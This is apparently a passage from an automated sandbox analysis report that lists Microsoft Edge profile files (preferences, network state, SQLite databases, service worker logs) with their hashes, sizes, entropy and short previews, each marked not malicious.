SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF49e30.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.1112210467436294
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9WO:uIEumQv8m1ccnvS6vX
MD5:	F6D67AF0435AA1A81D545FEF1941D03E
SHA1:	3993BC692778265500DF400E1AB5EC4B84C3F159
SHA-256:	7DC51B750DDB8EA1D6C5483045D83464B1AAC66EA91E019375FE731F941C4523
SHA-512:	9D367303EAF57A9E7CC2C5B94B293A6BDCFAF1C0354FED9131BCDEACDAB0986C0D5BDF21C538E115FEACD3C670C2266FDBC06870EEDD7D306E2EA567DD5DA9AD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3900c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a672.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b0362305-850d-4925-93ef-66580b033c15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b3f94d09-5032-4631-8f61-b0f786b1f873.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ed7c3956-ab80-4f92-a888-e70735984623.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1664
Entropy (8bit):	5.322834887298693
Encrypted:	false
SSDEEP:	48:YcgCzscKtsc1fcKsFIleeBkBRsFWCgHGbx9+:Fgb6IkeBkB2WTGV9+
MD5:	5A31C38085FE8CB0D2BC953854BBA614
SHA1:	CA2615F72789F4B557FDF926AEDFB2383FA9B9F3
SHA-256:	E14F1619AB2B6CC8B7DF61A015EB0BCA724B3EBD521B9227F80158FD8566B2AD
SHA-512:	5CA79CF2B6C5096C32D31E79614F2B5B48A1999B883A9EDB8E2C17D7CA0D67F2D426D7AB9E9BADF67F169E1A58BBE8825203F87589F840D935779E46F9DB371A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379621310271102","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379621314597265","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377122917544703","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	5.115126776384249
Encrypted:	false
SSDEEP:	192:stwkdpgsHCtsZihUkSE7m8FbV+FGGRQA66WDaFIMY5PEYJ:stwQgsHqfh6KbGrQx6WDaTYv
MD5:	1BDCA13C8C8A06626DCBFD91CCFEB60A
SHA1:	D723BAA0B69679655964AEC45A29665DB393DC3E
SHA-256:	896392A0C280BA80A20AB6249BD52AC0AD1B25462AD82E13BA324683EDEFA92C
SHA-512:	753397CEAE89402B5BC2AF27FDA5F97E3DF3199944B5552FBCF4506BB6B91AB311A751DD9C0E12FB5BB78124621BEB524663FA25D87F81D2AE2C05CABCD1A3DF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377029305889321","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3d7b4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	5.115126776384249
Encrypted:	false
SSDEEP:	192:stwkdpgsHCtsZihUkSE7m8FbV+FGGRQA66WDaFIMY5PEYJ:stwQgsHqfh6KbGrQx6WDaTYv
MD5:	1BDCA13C8C8A06626DCBFD91CCFEB60A
SHA1:	D723BAA0B69679655964AEC45A29665DB393DC3E
SHA-256:	896392A0C280BA80A20AB6249BD52AC0AD1B25462AD82E13BA324683EDEFA92C
SHA-512:	753397CEAE89402B5BC2AF27FDA5F97E3DF3199944B5552FBCF4506BB6B91AB311A751DD9C0E12FB5BB78124621BEB524663FA25D87F81D2AE2C05CABCD1A3DF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377029305889321","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3ff9e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	5.115126776384249
Encrypted:	false
SSDEEP:	192:stwkdpgsHCtsZihUkSE7m8FbV+FGGRQA66WDaFIMY5PEYJ:stwQgsHqfh6KbGrQx6WDaTYv
MD5:	1BDCA13C8C8A06626DCBFD91CCFEB60A
SHA1:	D723BAA0B69679655964AEC45A29665DB393DC3E
SHA-256:	896392A0C280BA80A20AB6249BD52AC0AD1B25462AD82E13BA324683EDEFA92C
SHA-512:	753397CEAE89402B5BC2AF27FDA5F97E3DF3199944B5552FBCF4506BB6B91AB311A751DD9C0E12FB5BB78124621BEB524663FA25D87F81D2AE2C05CABCD1A3DF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377029305889321","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF430b1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	5.115126776384249
Encrypted:	false
SSDEEP:	192:stwkdpgsHCtsZihUkSE7m8FbV+FGGRQA66WDaFIMY5PEYJ:stwQgsHqfh6KbGrQx6WDaTYv
MD5:	1BDCA13C8C8A06626DCBFD91CCFEB60A
SHA1:	D723BAA0B69679655964AEC45A29665DB393DC3E
SHA-256:	896392A0C280BA80A20AB6249BD52AC0AD1B25462AD82E13BA324683EDEFA92C
SHA-512:	753397CEAE89402B5BC2AF27FDA5F97E3DF3199944B5552FBCF4506BB6B91AB311A751DD9C0E12FB5BB78124621BEB524663FA25D87F81D2AE2C05CABCD1A3DF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377029305889321","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48ac7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	5.115126776384249
Encrypted:	false
SSDEEP:	192:stwkdpgsHCtsZihUkSE7m8FbV+FGGRQA66WDaFIMY5PEYJ:stwQgsHqfh6KbGrQx6WDaTYv
MD5:	1BDCA13C8C8A06626DCBFD91CCFEB60A
SHA1:	D723BAA0B69679655964AEC45A29665DB393DC3E
SHA-256:	896392A0C280BA80A20AB6249BD52AC0AD1B25462AD82E13BA324683EDEFA92C
SHA-512:	753397CEAE89402B5BC2AF27FDA5F97E3DF3199944B5552FBCF4506BB6B91AB311A751DD9C0E12FB5BB78124621BEB524663FA25D87F81D2AE2C05CABCD1A3DF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377029305889321","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565733695191853
Encrypted:	false
SSDEEP:	768:bYPddmWPLHfLS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVTOZacrwZp4tuL:bYPddmWPLHfLSu1jaiIaVItw
MD5:	E597715F18D33F572D2839D39EB1C1AA
SHA1:	8FC43D63B4E8DFF30394ADA114C2D595797F5BF6
SHA-256:	2354E2427CCF2726AFE9152968FE216C504FEC9ED428E2B51355FFA456CCFBDC
SHA-512:	068FA620A5EE11083E6EFF538CC9CF3935543E86E3206C85F33123791B60A3EE439E0E44F7CA710ADA6850685CF31588C40ED9FA5D7C61DA2F37A67379FFC346
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377029305313966","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377029305313966","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3c7c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565733695191853
Encrypted:	false
SSDEEP:	768:bYPddmWPLHfLS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVTOZacrwZp4tuL:bYPddmWPLHfLSu1jaiIaVItw
MD5:	E597715F18D33F572D2839D39EB1C1AA
SHA1:	8FC43D63B4E8DFF30394ADA114C2D595797F5BF6
SHA-256:	2354E2427CCF2726AFE9152968FE216C504FEC9ED428E2B51355FFA456CCFBDC
SHA-512:	068FA620A5EE11083E6EFF538CC9CF3935543E86E3206C85F33123791B60A3EE439E0E44F7CA710ADA6850685CF31588C40ED9FA5D7C61DA2F37A67379FFC346
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377029305313966","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377029305313966","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.843123278821162
Encrypted:	false
SSDEEP:	24:F2xc5Nm8cncmo0CRORpllg2DaafRHxB3VdCRORpllg2Sc03osxKKCRORpllg2Da5:F2emFtrdDjfBFXrdYxtrdDmBwrdlBM
MD5:	DEABE843F0C04BB59A893A7934EDDCE9
SHA1:	260AD5247195348300A01F1EAE4C08366D5D69CA
SHA-256:	F3263E49B5C6B341859AFFBC37D580B0CF695050489B2D3762EF5468DBBC6DE2
SHA-512:	FC0845BA96DBC3F56CF1292DAAB7AD3BA8E3A4DEB696DEE079659DFFE88B98253EE3052E2F32973DFA179134F6ABE3BF3F1A4C416BDA4FD0B1289CAF1D523ACB
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..{gm................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.18420881437024
Encrypted:	false
